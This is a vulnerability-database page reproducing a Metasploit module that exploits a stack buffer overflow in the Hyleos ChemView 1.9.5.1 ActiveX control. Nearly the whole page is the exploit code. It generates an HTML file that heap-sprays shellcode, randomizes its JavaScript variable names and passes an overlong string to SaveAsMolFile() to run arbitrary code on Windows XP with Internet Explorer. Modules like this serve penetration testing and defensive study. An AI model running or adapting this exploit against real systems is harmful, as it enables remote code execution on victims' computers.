Hyleos ChemView 1.9.5.1 - ActiveX Control Buffer Overflow Exploit (meta)

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Hyleos ChemView 1.9.5.1 ActiveX Control Buffer Overflow Exploi

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Hyleos ChemView ActiveX Control Buffer Overflow Exploit&#39;,
			&#39;Description&#39;    =&#62; %q{
				This module exploits a stack-based buffer overflow within HyleosChemView.ocx of Hyleos ChemView 1.9.5.1
				By setting an overly long value to &#39;SaveAsMolFile()&#39;, an attacker can overrun a buffer
				and execute arbitrary code.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;Dz_attacker &#60;dz_attacker[at]hotmail.fr&#62;&#39;
				],
			&#39;References&#39;     =&#62;
				[
					[ &#39;URL&#39;, &#39;http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 1024,
					&#39;BadChars&#39;      =&#62; &#34;\x00\x0a\x0a\x20&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0&#39;, { &#39;Ret&#39; =&#62; 0x0A0A0a0A, &#39;Offset&#39; =&#62; 150 } ]
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Feb 11 2010&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

			register_options(
				[
					OptString.new(&#39;FILENAME&#39;,   [ false, &#39;The file name.&#39;,  &#39;msf.html&#39;]),
				], self.class)
	end

	def exploit

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Setup exploit buffers
		nops 	  = Rex::Text.to_unescape([target.ret].pack(&#39;V&#39;))
		ret  	  = Rex::Text.uri_encode([target.ret].pack(&#39;L&#39;))
		blocksize = 0x40000
		fillto    = 300
		offset 	  = target[&#39;Offset&#39;]

		# Randomize the javascript variable names
		chemview     = rand_text_alpha(rand(100) + 1)
		j_shellcode  = rand_text_alpha(rand(100) + 1)
		j_nops       = rand_text_alpha(rand(100) + 1)
		j_ret        = rand_text_alpha(rand(100) + 1)
		j_headersize = rand_text_alpha(rand(100) + 1)
		j_slackspace = rand_text_alpha(rand(100) + 1)
		j_fillblock  = rand_text_alpha(rand(100) + 1)
		j_block      = rand_text_alpha(rand(100) + 1)
		j_memory     = rand_text_alpha(rand(100) + 1)
		j_counter    = rand_text_alpha(rand(30) + 2)


		html = %Q|&#60;html&#62;
&#60;object classid=&#39;clsid:C372350A-1D5A-44DC-A759-767FC553D96C&#39; id=&#39;#{chemview}&#39;&#62;&#60;/object&#62;
&#60;script&#62;
#{j_shellcode}=unescape(&#39;#{shellcode}&#39;);
#{j_nops}=unescape(&#39;#{nops}&#39;);
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length&#60;#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}&#60;#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}&#60;#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret}=&#39;&#39;;
for(#{j_counter}=0;#{j_counter}&#60;=#{offset};#{j_counter}++)#{j_ret}+=unescape(&#39;#{ret}&#39;);
#{chemview}.SaveAsMolFile(#{j_ret});
&#60;/script&#62;
&#60;/html&#62;|

		print_status(&#34;Creating &#39;#{datastore[&#39;FILENAME&#39;]}&#39; file ...&#34;)

		file_create(html)
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1